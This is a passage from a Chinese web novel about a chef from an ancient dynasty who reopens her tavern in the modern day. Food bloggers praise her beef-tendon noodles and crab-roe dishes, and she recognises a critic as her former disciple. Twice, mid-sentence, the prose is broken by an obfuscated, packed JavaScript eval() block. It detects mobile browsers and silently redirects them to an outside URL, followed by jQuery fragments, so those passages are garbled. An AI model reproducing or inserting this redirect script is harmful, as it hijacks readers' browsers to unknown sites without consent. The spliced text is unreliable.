“真是跟之前不一样了。”鲁志元本来期望值不高，现在只觉得惊喜，他倒了杯大麦茶，豪迈地一饮而尽，润润喉，又用手背擦了擦嘴，拿起了筷子。 碗里最大的一块牛蹄筋被夹住，随着筷子的动作，果冻似的左摇右颤，被他一口吃下。 一开始咀嚼，只觉得软糯，嚼到中间部分，变得有些拉扯感，每一口，都有牛肉的香气释放出来。 “嚯——香啊！”鲁志元没有失望，一块下肚，只觉得肚子里温温热热的，口中的馋却没有解。 迫不及待又捞起一块，这次他牙齿咬住一段，将那牛蹄筋撕开，软软糯糯的牛蹄筋，带着弹性，缓慢扯开，嚼起来很是筋道，每一寸都是浓郁的肉香和酱香。 三块牛蹄筋下肚，鲁志元才终于把自己从沉迷中拔出来，夹起一筷子面，往上扯了扯。 面条虽细，却根根有韧劲儿，并没因为这大力的拉扯而断掉。 “呼呼——”鲁志元吹了两下，咬住面条，轻轻一嗦，一撮面顺滑入口。 那面条表面包裹了一层薄薄的酱色，散发着淡淡的牛肉香气，而面条入口，更是将这种香味放大。 每一根面条都被牛蹄筋汤汁煮得入味，但同时，也保持着面食的香气。 这一大口碳水，结结实实下肚，鲁志元这样粗线条、很少品味食物的人，第一次感受到了美食带来的人生幸福感。 他又夹起一筷子蟹肉和蟹黄。 那蟹肉简直轻盈得没有重量，放入口中，嫩滑得不像话，牙齿轻触，蟹肉就破碎开，蟹黄更是带着蛋白质独有的香气，淡淡的油汁更添香味。 “真是选不出哪一碗更好了......”鲁志元一会儿吃这碗，一会儿吃那碗，舍不得任何一种香味消失在口中。 - 等到中午快十二点，江云枫终于见到了第一个到店的美食博主。 那是个戴鸭舌帽的女孩，进店之后犹豫了一会儿，来到厨房找到江云枫，自称名叫桑瑶，一会儿可能会录一下店里的环境，而且会给路人打码，不侵犯肖像权，还把自己的账号名给了江云枫。 “不影响到别人就没问题。”江云枫点点头，允许了。 桑瑶有些手抖地录了一下厨房里蒸着的螃蟹、好看的小楷写的菜名，以及陶瓶里很有格调的花，作为一个社恐i人，完成这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14832409|158240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一套后，她已经紧张到汗流浃背了。 找了个角落的位置坐下，桑瑶终于放松下来，点了牛蹄筋面、珊瑚白菜和奶茶之后，用支架架起手机，打开自拍模式录制视频。 “呃......今天我们来到这个......近两天很火的江......江家小酒馆......位置虽然荒无人烟，门里......就是有很多人反正......”桑瑶语无伦次地说了一通，而后陷入了沉默。 索性有鸭舌帽挡着，她的红温才没被发现，也索性，点的菜很快就上了桌。 店内很热闹，桑瑶戴上耳机，让收音效果更好些。 为了缓解尴尬，她刚才咽了好多次口水，现在已经口干舌燥，给自己倒了杯奶茶，“吨吨吨”连喝了五口。 奶茶丝滑涌入口中，咽下去温温热热的，这奶茶比她之前喝过的更清新，更解渴，能感觉出来是牛奶煮的，味道很纯净天然。 “诶，好喝。”桑瑶轻声道。 咂了咂嘴，桑瑶拿起筷子，那珊瑚白菜的酸香与辣气，让舌头痒痒的，闻着很开胃，她先夹了一筷子白菜。 那白菜嚼起来“嚓嚓”脆，白菜梆饱满多汁，叶子软嫩，刚入口是酸甜的，嚼几下立刻感觉到热烘烘的辣气。 “诶，朋友们，这个白菜酸辣味儿恰到好处，真是越吃越开胃。”桑瑶为了不影响别人，压低了声音，越吃越感觉到口水津津。 多尝几口，慢慢品味，还能感觉到一股奶香味的余韵。 “这个白菜用的应该是菜心，还有点奶甜味，不错不错。”桑瑶边吃边点头。 三四筷子白菜开了胃，她将目光瞄准了牛蹄筋面。 “哇，我是第一次见到这么大块的牛蹄筋。”桑瑶看到隔壁桌有人看自己，压低了鸭舌帽，继续小声道，“你们看看，整块都是棕红色的，还有点半透明的感觉。” 那牛蹄筋在镜头面前颤颤巍巍，外层的酱汁微微泛光。 “有点忍不住了，尝一口。”桑瑶将牛蹄筋送入口中，一咬。 牛蹄筋软得像是高压锅炖出来的猪蹄，扯住一小块，就能撕下来一绺儿筋，嚼起来跟橡皮糖一样软弹。 口感既带有牛肉的香味，又有满满的胶原蛋白的感觉。 “这个非常入味，你们看，这个最内层都是被酱汁浸透了的。”桑瑶将牛蹄筋的横截面凑近镜头，“没有骨头，吃着非常爽。” 桑瑶说着，把剩下的牛蹄筋塞进嘴里，外层软糯，内层带着点筋道，更内层甚至有点脆脆的。 这一块牛蹄筋吃出多种风味，实在妙不可言。 桑瑶连吃了三块，整个人都沉浸在了牛蹄筋香味中，既放松，又治愈。 在她用筷子卷起面，准备往口中塞时，却听到了江云枫的声音。 “这里不可以喧哗拍摄。” 江云枫的音量不算大，但却沉稳坚定，带着震慑很强的威严感。 桑瑶还以为江云枫说的是自己，慌张地抬头，却看到江云枫站在大堂中央，伸手挡住另一个男人的手机镜头。 23. 牛蹄筋饭、蜜煎藕 那男人长得清瘦，长发在脑后扎起，拿着手机云台，从店外拍到店内。 江云枫刚上了菜，见那男人一边对着手机大声讲着“大家点点关注”，一边镜头左摇右晃怼脸拍摄。 一群食客听到这喧闹的声音，抬起头，看清状况之后，又厌恶地躲避镜头。 江云枫快步上前，微微皱眉，用手挡住那男人的镜头：“这里不可以喧哗拍摄。” “您就是老板吧。”那男人一愣，感受到了江云枫周身很强的气场，声音低了两分，“我叫段轩龙，是【小段今天吃饱没】美食账号的博主，全网粉丝加起来有二十多万。” “今天是来你们这里直播探店，还能带动你们店销量呢。”段轩龙试图把镜头移出来。 “我开饭店呢，有些原则，就是希望大家能安安静静享受美食带来的愉悦，不像是坐在菜市场一样闹哄哄的，也不会在不知情的情况下，出现在陌生镜头里。”江云枫挡着镜头的手也随之移动，语气坚定有力。 “作为大博主，而且还是美食博主，相信你比我更愿意给大家创造好的、品味美食的环境，对吧？” 之前段轩龙去小饭馆，都会因为是大博主，得到老板的谄媚和优待。 可他没想到，眼前这个小老板，不仅不吃这一套，还用“大博主”的名头，把自己架起来，让他想为所欲为也不行了。 “就是啊，老板说的挺好的。”一旁的鲁志元伸手支持，“这吵吵嚷嚷的多打扰人啊。” “确实，我本来想完整地把面一口吃下的，刚才被这闹腾的，都把面咬断了。” “我不想出现在镜头里，别老拍了。” “上了半天班了，好不容易清静会儿，别吵吵了。” 店内的食客们纷纷望过来，声援江云枫。 段轩龙有些尴尬地看了一眼屏幕，直播间的人显然也听到了这些。 有一些段轩龙的铁粉，不屑一顾。 【不是吧，段哥肯来这偏僻的小酒馆，能带来多少流量，这都不要吗？】 【要是老段不来这家店，说不定过段时间就没人来，倒闭了。】 不过大部分人也是支持江云枫的。 【说实话，我要是在店里也不想被拍到，要不你别拍了。】 【这种互联网时代，还有人能帮忙维护肖像权，真挺不错的。】 【要不咱声音小点？别打扰到别人。】 【好喜欢这种有原则的老板，有点好奇想去尝一下她的手艺了。】 “好吧，那我不讲话了，只拍我自己，可以吧。”见这么多人支持江云枫，段轩龙只好妥协，收起云台，打开了自拍模式，找了个角落坐着。 “不过老板，话先说在前头，要是你做的东西不好吃，我点评你可一点儿也不会客气。”段轩龙翘起二郎腿。 “没问题啊，随意点菜。”江云枫对着墙上的菜单，做了个“请”的手势。 段轩龙好歹也做了三年美食博主，见过不少看上去自信，实际做菜难吃的店主，他轻蔑一笑，眯起眼睛浏览起菜单：“你们家最近比较火的蟹黄面、牛蹄筋面，各来一份，再要个这个蜜煎藕吧。” “哦对，牛蹄筋面搭配的面换成饭可以吧？” “可以，不过面和饭的分量都不少，一个人吃怕是吃不完。”江云枫看他长得很瘦，不是鲁志元那样的大块头，多讲了一句。 “没事，说不定这是最后一次吃了，多点一些。”段轩龙抱着胳膊，茶茶地开玩笑道。 “年轻人，话别说得太早。”江云枫鼻息间发出“呵”的笑声，这话她听得太多了，她转身回了厨房。 “不儿，谁是年轻人啊？”段轩龙一愣，他三十多岁，面前这个老板也就二十出头，“比我还年轻，还叫我年轻人，真奇怪。” 江云枫在厨房挥舞锅铲，段轩龙对着屏幕小声互动，没一会儿，饭菜都上了桌。 “作为大美食博主，咱评价客观一点哈。”江云枫笑着呛他。 “没问题啊，绝对客观。”段轩龙比了个“OK”的手势。 他刚想腹诽“现在讨好我那可晚了”，却被香味扰乱了思绪。 牛蹄筋每个都有半拃长，在米饭上堆得满满当当，有了白色的米饭做背景，更能看出牛蹄筋的剔透感，像是琥珀色的水晶。 米饭上浇了些牛蹄筋的汤汁，但又浇得不够均匀，白色和棕色交错在一起，勾得人想用筷子把它们搅拌均匀。 蟹黄和蟹肉也是金灿灿的，堆在碗中，把面条都埋得看不见了。 切了片的蜜煎藕整整齐齐码放在盘中，每一孔都塞满了糯米，整体还包裹着挂汁，一看那挂汁就很浓稠。 打开了自拍模式的手机，对准了桌上的饭菜，直播间看到立刻沸腾起来。 【啊啊啊啊啊，怎么我隔着屏幕都好像闻到味道了？】 【第一次见到牛蹄筋饭，什么味道啊？段哥尝了讲讲？】 【竟然这么多蟹黄吗？老板该不会是看到小龙是博主所以......哦对，看刚才老板那么刚，应该也不会因为是博主就多添蟹肉的。】 【好喜欢吃糯米藕啊，口水都要流下来了，先吃这个先吃这个！】 【先吃蟹黄面！】 【吃藕吃蟹黄面有啥好看的，见过几个吃牛蹄筋饭的？先吃牛蹄筋饭！给兄弟们尝尝味道！】 【想吃牛蹄筋饭+1】 “行，我来口牛蹄筋饭。”段轩龙有点强迫症，他最想干的就是把饭和汤汁搅和匀了。 筷子在米饭中搅拌着，牛蹄筋仿佛随着海浪上下翻涌，白色的米饭逐渐被酱汁包裹，所有米粒变成棕色。 段轩龙想夹起最大的一块牛蹄筋，筷子一滑，刚夹起的牛蹄筋又掉回碗里。 “嘿，这牛蹄筋可真不听话。”段轩龙低下头，直接把牛蹄筋扒拉到嘴里。 刚入口，他就敏锐捕捉到了，牛蹄筋表面轻微的焦糖味，而那浓厚的牛肉味，随之在舌头上化开。 随后的咀嚼，是牙齿和软筋的搏斗。 筋软软嫩嫩，在口中左右滑动，又被牙齿不断撕碎，那软弹的胶原蛋白质感，让每一下咀嚼都格外享受。 “唔？这个牛蹄筋味道......还行吧。”段轩龙有种眼前一亮的感觉，嘴上却不想承认自己打脸了。 直播间评论一直在往上滚动。 【段哥，仔细讲讲什么味道啊？好馋！】 【这么大块的筋，不敢想有多好吃】 “味道？确实有点功夫，外面炒了糖色，有点甜，里面是酱香的，煮得很酥烂，不难嚼。”段轩龙说着，又将一大块牛蹄筋和米饭一同扒拉进口中。 米饭吸饱了汤汁，满满的牛肉浓香，而且水分充足，口中感到滋润，筋是软软的，带着弹性，两者同嚼，满口喷香。 段轩龙为了克制自己不狼吞虎咽，赶紧拿纸巾擦了擦嘴。 【这个描述......让我好饿！怎么没找到牛蹄筋饭的外卖啊！】 【我也想吃！】 【再尝尝别的！】 段轩龙又夹起藕片，夹起来时发现藕片之间黏黏的。 “这应该就是那个什么，白糖水熬的糯米藕，比较常规的一道菜。”段轩龙先入为主做了判断，然而送入口中，却惊讶地睁大了眼睛。 口中并不是发腻的甜味，刚入口是蜂蜜的清甜，然而很快，似有若无的酸味显现，只不过这酸味被大量的蜂蜜甜中和后，只剩下梅子的清爽味道。 咬一口，藕糯糯地被牙齿切开，糯糯的藕夹着微黏的糯米，两者都散发着清香。 “竟然是酸甜口的？......”段轩龙又咬了两口，感受着那丰富的口感。 【什么？酸甜的？我吃不了酸，好难吃。】 【我一吃酸的就倒牙，车厘子酸一点我都接受不了。】 “诶，不是。”段轩龙看到评论都是在说酸甜口难吃的，忍不住解释，“不酸啊家人们，七八分甜，中间两三分梅子味。我也不爱吃酸甜口的，但这个真的蛮好吃的。” 段轩龙说出来，才发现自己已经不自觉维护起这些饭菜了，有些尴尬地清了清嗓子。 “再来口这个蟹黄面吧。”段轩龙说着，将面和蟹肉搅匀，“之前我看有粉丝说，这家店的蟹黄面，比二十多年老店芙蓉楼做的还好吃，是不是登月碰瓷呢？咱们尝一口就知道。” 段轩龙搂起一筷子面，两三下，腮帮子塞得满满的。 每一根均匀裹着蟹肉的面条、嫩滑的蟹肉，绵密出油的蟹黄，紧紧包裹着舌头，香味渐次释放。 一口咽下，连喉咙都是香的。 【怎么样？好吃吗？】 【看段哥享受的表情，味道肯定很不错，你们忘了之前他吃到难吃的，脸色都不一样。】 “确实好吃，啊，确实好吃。”段轩龙回避着镜头里的视线，既想夸一夸这蟹黄面，又觉得打脸。 “至于有没有芙蓉楼的蟹黄面好吃，朋友们自己来尝试，肯定不会踩雷就是了。”段轩龙神秘一笑。 【你们发现没，他 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刚扶着肚子松口气，一抬头，对上了江云枫的视线。 “客观一点评价，味道怎么样？”江云枫抱着胳膊，笑得狡黠。 “额......客观来讲，非常不错。”段轩龙摸着良心，实在说不出这饭菜的坏话，只能有些尴尬地承认，“老板挺抱歉的，之前在店里嚷嚷，还说你们店不怎么样，现在才发现，当时先入为主了。” “没事啊，在大家面前也客观评价就好了。”江云枫一挑眉，扫了眼他的手机。 “那当然，之后我还会把录播剪成视频的。”段轩龙一想到自己是这家宝藏店铺最早的一波宣传者，心情就很激动，“老板你等着，我视频很快就剪好，到时候你一定要来看啊！” 当天忙着剪视频的，不止段轩龙一个人，还有桑瑶。 桑瑶做美食探店博主半年了，可是同类型的账号太多，她的数据一直不好看，好一点的播放量才一千出头。 可这次去江家小酒馆探店后，视频传到网站上，播放量一直在增长，仅仅一下午，播放量就达到了三万多，还涨了三千多粉丝。 但在她意料之外的是，好多人除了评论“好馋”，还提到了“这美食咀嚼音好助眠”。 桑瑶戴上耳机，重看自己的视频。 为了不影响别人，她整个视频里讲话都是轻声耳语，吃食物的声音显得很清晰。 奶茶流过喉咙，是“吨吨吨”的声响。 白菜叶子嚼起来是细细的“嚓嚓”声，白菜梆子嚼着是闷闷的“嚓嚓”声。 面条搅拌，“呼呼囔囔”的粘稠声响。 嗦面条，“呼噜呼噜”。 嚼软筋，糯叽叽的声音。 “这声音确实好好听啊。”桑瑶听着听着，又馋了，“我好像找到了新赛道，以后做个美食助眠博主也很不错！” 桑瑶打了个响指，决定以后就当江家小酒馆的常客了。 - “助眠？” 晚上打烊之后，江云枫回了家，rua着啊呜脖子上软软的毛，刷着美食网站的视频，也刷到了桑瑶的视频。 “现代人竟然喜欢听别人吃美食助眠吗？”江云枫大脑有些宕机，她对于现代人的理解又丰富了些。 往常在大梁，人们大多日出而作、日落而息，除非是年节之日，或是要在江家小酒馆吃饭之时。 上一辈子的江云枫，每天也没什么心事，忙碌一天后，躺床上就能睡着。 反正睡着了，第二天太阳照常升起，照常看徒弟们打闹，和朋友们闲聊，听百姓对于美食的赞美，接受京城贵胄的订菜邀请...... 当时只道是寻常。现在江云枫有时候会睡不着，总是想起过去的事。 江云枫笑着叹了口气，继续翻看手机，今天有四个博主来探店，她把视频和评论区都看了一遍，发现有好多人在评论区艾特一个叫“品味溪川”的账号，想要他来江家小酒馆吃饭，然后做出更专业的评价。 点开这个账号，签名里简单地写了一句话。 “美食评论家。专业，挑剔。” 江云枫刚想吐槽，这人的臭屁程度和自己的徒弟有一拼，突然看到他的头像有点眼熟。 点开头像，一座五层的古风小楼赫然伫立，简直和上辈子的江家小酒馆一模一样。 江云枫心头一颤，睁大了眼睛，开始翻看这人的往期视频。 24. 羊方藏鱼桂花烤奶 在往期视频里，这人从不露脸，虽是探店，却也不拍店面，只会拍一些菜品上桌后的录像，再配音点评。 听到那人声音的瞬间，江云枫从沙发上弹起来，激动地在房间踱步。 那声音再熟悉不过，和自己上辈子的大徒弟言亦轩一模一样！ 江云枫翻看视频走过来，走过去，啊呜跟在她身后，也走过来，走过去，耳朵随着视频的声音，一动一动的。 别的美食博主的视频，大多讲讲口味是不是好吃，可他的视频里，点评确实非常专业。 食材冷水下锅还是热水下锅，炖汤是用哪个品种的鸡，食材是不是隔夜，味道复杂的浓汤都用了哪些调料，焖了多久能有这个口感，他都能品味出来，还能给出改进建议。 这样的舌尖灵敏度，言亦轩也有，这是给江云枫当徒弟这么多年以来，一日日锻炼出来的。 而且如签名所说，他很挑剔，还很毒舌。 “XX饭店好像用了82年的肉炒菜，肉老得一绝。” “豆角炒得半生不熟，挺好的，要不是第一口就尝出来，下辈子就开始了。” “这鸡肉怎么能烤得这么干的，不用去博物馆就能看到木乃伊鸡了。” 江云枫看着一条条评论，“哧”地发笑，这就是自己徒弟的说话风格，让她更加激动。 这人的专业和毒舌，吸引了很多粉丝，单单是这一个美食平台，就有将近百万粉丝。 而且他还很傲气，遇到那种做菜不怎么样，却想塞钱给他帮忙做好评视频的饭馆，哪怕是大的连锁店，他都直接讲出来，粉丝们更加信服他对于饭馆的测评。 这次有几个美食博主探店江家小酒馆后，很多粉丝艾特他让他也去测评，他发了动态，说第二天就去。 粉丝们惊讶地在评论区讨论起来。 【往常这么小的店，言师傅都不愿意去的诶。】 【是啊，而且之前都是过了一两天才回复，今天竟然一个小时就回复说要去，好奇怪。】 【看来这家饭馆真有点东西，能被言老师选中测评。】 从评论里得知那人也叫言亦轩，江云枫很意外地有些紧张。 穿越到现代将近一个月，她以为找徒弟会是大海捞针，却没想到这个和徒弟各方面细节都匹配上的人，竟然明天就要到店里来了。 他是言亦轩穿越过来的吗？他还有上辈子的记忆吗？长相、性格还是不是像以前那样？他还认得出江云枫这个师父吗？ 她本想明天见到那人，就问他这些问题，可缓了缓神，她有了另一个想法。 上辈子，一直是言亦轩做好菜，请江云枫点评。江云枫做的菜，言亦轩一直换各种角度夸赞，她觉得还是有师父的身份在，言亦轩不好有负面点评。 正好这一次江云枫先不露面，让那人点评自己的水平，不管那人是不是自己徒弟，都得到了一个相对客观的结果。 想好这些后，江云枫给林若雪发了消息，等那人来了，让她自称江家小酒馆的老板，假装在厨房做菜，端上桌给那人吃。 之后试试要他的联系方式，等他发了点评视频，江云枫再跟他联系。 在此期间，江云枫先躲到厨房角落，暗中观察一切。 “额，老板，这些我可以做，但是为什么要这样啊？”林若雪疑惑不解。 “他是我之前的熟人，但是这些年没联系了，想看看他吃到我做的饭什么反应。” “好有意思哈哈哈，没问题！”林若雪应下。 - 第二天临近中午，江云枫做一会儿菜，瞄几眼大堂，随时准备好了躲藏。 除了日常的饭菜，她还专门为这个疑似徒弟的人，做了一道羊方藏鱼，煨了一罐桂花烤奶。 这羊方藏鱼可是格外讲究的一道菜。 一整块羊排抽了骨头，肉还保留得完整，切得方正。在锅里放几块羊的肥肉，煸炒出羊油，再用这羊油煎香羊排。 去了头尾的鲈鱼片成两半，抽掉鱼骨架，两面煎得焦黄。 用这大块的羊排包裹一整条鱼的鱼肉，卷成毛巾卷，细麻绳五花大绑，撒入香料，淋上调好的酱汁，用去皮的甘蔗段一起小火慢煨。 做出来的羊方藏鱼，鲜味可谓一绝。 而那桂花烤奶，呈现出桂花的金黄色，在小罐上煮得咕嘟咕嘟冒泡。 桂花香气、茶香和牛奶的醇香融在一起，深吸一口气，相当治愈。 将近两点半，大部分食客都已离开，只剩下一两桌客人即将吃完，江云枫终于瞧见门前来了一个熟悉的身形。 “就是那个人了。”江云枫拍了拍林若雪的肩膀，而后一闪身猫进厨房角落，从厨架后瞧着来人。 那人约莫三十来岁，从长相到穿搭都干净清爽，走路慢慢的，气场很沉稳。 即使已非大梁时的束发，而是剪了利落的短发，可江云枫还是一眼认出，那人的长相和大徒弟言亦轩一模一样，这让她有些感慨地叹了一口气。 言亦轩在门前凝视了一会儿招牌，才走进店内，扫视墙上的菜名，眼睛登时亮起来了，好几个菜名都是他熟悉的。 林若雪迎上来问他吃什么时，言亦轩有些急切地问道：“你们店的老板在哪里？” “老板？我就是老板，有什么事吗？”林若雪装作若无其事。 “你就是......？”言亦轩声音低了半分，不确定地打量着她，“你叫什么名字？你认不认识我？” “我叫江若雪，这应该是第一次见你，你应该是那个【品味溪川】的博主？听声音很像。”林若雪故作思索。 “嗯......”言亦轩沉默半晌，“那你有没有什么认识的人叫江云枫的。” “江云枫？......不认识。”林若雪也没什么表演经验，这一通询问，让她有点红温了，但还是强装镇定。 “也是......确实不像......”在刚才的几秒钟里，言亦轩以为江云枫穿到现代，改了样貌失了忆。 可慢慢回忆，江云枫从小到大气场都跟人不一样，那种松弛、舒展和靠谱的感觉一般人没有，问了几句他就知道不是了。 “哦没什么，我可能认错人了。”言亦轩收敛了情绪，和进店前一样面无表情，声音也变得公事公办起来，“我今天是来探店的，蟹黄面和牛蹄筋面各来半碗吧，多了我吃不完，钱还是按照整碗的付。” “好的，稍等就上菜。”林若雪进了厨房，假装忙碌做菜，实则背对着言亦轩，大松了一口气。 言亦轩从口袋掏出方布，将桌子和板凳仔仔细细擦了一遍，看着黑板上的小楷字发呆，眼神中满是疑惑。 江云枫听到刚才他们的对话，再看到言亦轩和上辈子一样保留着洁癖的小习惯，可以断定言亦轩和自己一样，带着上辈子的记忆穿越到了现代。 上辈子，言亦轩早她十年去世，阔别了十年，现在见到，不是很感性的江云枫，眼前也蒙了一层水雾。 只是还得等他点评完，才能再相认。 林若雪假装忙碌半天，在江云枫“加油”的手势鼓励下，调整好心情，端着餐盘出去了。 “这是您点的蟹黄面和牛蹄筋面，这里还有一份羊方藏鱼，一罐桂花烤奶，请您品鉴。”林若雪将餐盘上的饭菜一一放在言亦轩面前。 “我的评价很客观，如果不好吃，不会因为送菜给好评；如果好吃，也不会因为没有优待给差评。”言亦轩挑眉，眼神中闪过一丝高傲。 “好的。”林若雪颔首一笑，周边食客已经走完，林若雪坐在了隔壁一桌。 言亦轩对着饭菜，很专业地运镜录像，而后放下手机，凑近蟹黄面，轻轻吸气，闻到香味后微微点头。 筷子“笃笃”两声在桌面上磕整齐，利索搅拌均匀，卷起一筷子面，咬了一小口，闭上眼睛细细品味。 “蟹肉除腥得当，蟹黄也恰到好处，用的是三两的母蟹吧，味道刚刚好。”言亦轩睁开眼睛，点点头。 “是这样。”林若雪惊讶地点点头，螃蟹重量江云枫之前告诉过她，没想到连这些都能尝出来。 “这煮面的汤可是舍得花功夫。”言亦轩又吃了两筷子，笑了，“鸡肉、猪肉、河鲜都舍得放啊。” 江云枫猫在厨房听着，莫名其妙为徒弟的鉴别能力感到自豪。 言亦轩又夹起一筷子牛蹄筋，咬了一口细嚼，左手手指依次在桌面上轻轻敲击：“可以的，炒过糖色，炖了两个小时吧，酥烂度正好。” 林若雪不说话，只是笑着点头。 从言亦轩的吃相，就能知道他吃过不少好东西，因为面对眼前非常香的饭菜，他也吃得小口，不贪食。 两碗面都吃了三口之后，言亦轩望向那羊方藏鱼。 这道菜做了精致的摆盘，鲈鱼的鱼头和鱼尾都是红烧过的，放在盘子的两端，中间是切成了厚片的羊方藏鱼。 从侧面看，外层是有薄薄脂肪的羊肉，内里裹着的鱼肉已经有些酥烂，和羊肉几乎融为一体了。 深吸一口气，羊肉带着微微焦香的鲜味，交杂着鲈鱼清淡的鱼肉香，连同酱汁咸味，一同萦绕鼻尖。 言亦轩鼻尖微动，夹了一块羊方藏鱼，凑到嘴边咬了一口。 羊排部分的肉，瘦肉多，肥肉少，薄薄的油脂刚好润了嘴唇就化开。 一整块羊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14850881|158240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肉，在酱汁中炖过，因为火候正合适，羊肉软嫩而不干柴，鲜爽入口，咀嚼间肉丝破碎。 外层的肉丝融了几分甘蔗甜，内里的肉，又吸了不少鱼肉汁水。 这一口，让舌头鲜爽得发颤。 再往里嚼，鱼肉一触即破，嫩滑地变成肉糜，鱼肉本就松散，吸了羊肉汁后更是饱胀起来，这一口更加多汁。 普通人品尝，也就只能尝出个鲜味，大赞道“真是鲜掉眉毛”，不过言亦轩还尝出了更多味道。 “鱼肉用彩椒炒过，带了几分椒香，羊肉是用冰块下锅，冷水和萝卜皮除的膻味吧，很妙。”言亦轩左手慢慢敲着桌面，一边品味一边点评。 江云枫做这道菜的时候，林若雪在一旁看着，是用了这些原料，她惊奇地瞧着言亦轩，连连点头：“你真是神了！” “还加了红枣吧，这肉汤是挺滋补的。”言亦轩翘了翘嘴角。 一整块吃完，他呼出一口香气，放下筷子，拿起旁边带滤网的小罐子，给自己倒了一杯桂花烤奶。 那色泽金黄的桂花烤奶，顺滑流入杯中，看得人心生欢喜。 言亦轩凑近闻了闻，桂花沁人心脾的甜香，红茶清幽的茶香，混合在一起，让人的神经都放松下来。 轻抿一口，桂花烤奶汩汩流入喉咙。 桂花香气浸了满口，醇香的奶加上少量的冰糖，是恰到好处的甜味，红茶的微苦让这饮品更醇厚。 淡淡的红枣气息，增添一抹丰富的甜味。 “是不是加了桂圆？这个甜味还挺奇特的。”言亦轩小口啜饮，舒服地眯起眼睛。 “是的，加了烤过的红枣和桂圆。”林若雪把看到的制作过程复述出来。 “难怪，真好喝。”言亦轩点头肯定。 江云枫交代林若雪假装老板之后，她就看过言亦轩拍的视频，对于每个饭馆，他多多少少都会毒舌吐槽一番，可这一顿饭下来，言亦轩却没说过半点不好。 “您觉得这顿饭怎么样？”言亦轩全部吃完后，林若雪问道。 “挺满意的，每道菜都是食材新鲜、手法熟练、火候到位，还有一些自己的巧思，让食材风味很好地搭配起来，口感更丰富。”言亦轩认真讲道，“说实话，没有什么问题，我自己也做菜，但是达不到这个手艺。” “不过我有些好奇，您看起来只有二十出头，厨艺为什么能达到如此炉火纯青的地步？”言亦轩盯着林若雪，仿佛把她看透了。 “我......”林若雪有些紧张，但幸好江云枫跟她对过台词，她还是顺溜讲出来了，“我妈妈是五星级酒店的厨师，我从小她就教我做菜。” “你确定你妈妈不叫江云枫？”言亦轩换了怀疑对象。 “我确定。”林若雪差点笑喷。 “好吧。”言亦轩有些失望地挠挠头，扫码付了款，“我想再打包一份蟹黄面，一份牛蹄筋面，今天吃的食物我已经录像过了，晚上视频就能做出来。” 林若雪又在厨房假装忙碌了一通，打包江云枫做好的饭菜，递给言亦轩时，她刚想按照江云枫交代的，问一下言亦轩的联系方式，他却率先开口了。 “这是我的联系方式，您可以加一下，如果您想起什么......比如说什么云啊，枫树啊，古代小楼啊，或者什么古代的事情，可以联系我。”言亦轩皱着眉头，思索着措辞。 林若雪听到前面，嘴角比AK难压，把前二十多年的伤心事都想了一遍才没笑出声，听到后面什么古代的部分，又很疑惑，不过还是应下来：“好的，没问题。” 江云枫看着言亦轩的背影离开，放松下来，有些感慨地长叹一口气：“唉，真是他啊。” “老板，今天我任务完成得怎么样？”林若雪早把什么“古代的事”抛在脑后，只想着邀功，她抿着嘴挺起胸口，把言亦轩的联系方式拿给江云枫看。 “帮了大忙。”江云枫灿然一笑，“给你100块劳务费。” “劳务费倒是不用了。”林若雪不想跟江云枫那么生分，“再给我做一次那个羊方藏鱼吧，我刚才都要馋哭了。” “行啊，等我开火。” - 忙完一天的营业，李博鸿和林若雪都下班回家了，江云枫终于有空休息，关了店门，瘫在大厅的椅子上。 看到【品味溪川】账号提醒有新动态，她眼前一亮，点开了视频，果然是言亦轩今天来江家小酒馆探店的视频。 仍旧是简单的美食录像+配音，可往常言亦轩的视频顶多只有2分钟，可这个视频却有足足8分钟。 江云枫仔细听着他都讲了什么，才听两句，她就因为言亦轩的一句话眼皮一跳。 25. 羊方藏鱼罗汉素面 “在当美食评论家之前，我还是厨师。今天到江家小酒馆最惊喜的是，这家店饭菜的味道，和曾经教过我的师父做出来的味道，可以说是师出同门。” “嗯......?”江云枫扶额，“难道被尝出来了？” 接下来的8分钟时间里，言亦轩对着几道菜，滔滔不绝地夸赞。 “这蟹黄面选的食材非常用心，三两的母蟹肉质最嫩，蟹黄也绵密流油，从个头到风味，都是性价比最高。” “不会给羊肉去味的朋友们，可以学学这道羊方藏鱼，冰块下入锅再放羊肉，以冰水熬煮萝卜皮，除膻很自然。” “这个牛蹄筋的调料很讲究，我回家复刻了七八分，用这个调料沾鞋底子都好吃。” “秋天坐在炉边煨一罐桂花烤奶，悠然度日很舒服。” 言亦轩的粉丝看到视频，炸了锅，在弹幕和评论区疯狂讨论。 【？？？】 【？这还是一个字都不愿意多说的言老师吗？这么话痨？】 【今天居然没听到言亦轩毒舌诶，真稀奇。】 【言师傅的点评好详细啊，这个江家小酒馆这么卧虎藏龙吗？】 【第一次见老言对一个饭馆赞不绝口，想去吃吃看了。】 【这是打广告吗？】 【楼上的真不了解言亦轩，人家点评美食就是纯爱好，芙蓉楼和凌盛大酒店够老牌吧，请言亦轩打广告人家都不干，这小饭馆怎么请得动言亦轩打广告的。】 【跟言师傅的师父师出同门？？？这江家小酒馆来头不小啊，有没有人吃过的？】 【我吃过！虽然地方小，但是每道菜都是绝味，闭着眼睛点都不会踩雷，放心冲啊大家。】 【同意楼上！】 评论多到江云枫翻不过来，她不再去看评论，而是拿起林若雪今天要到的言亦轩的联系方式，搜索出了他的VX号。 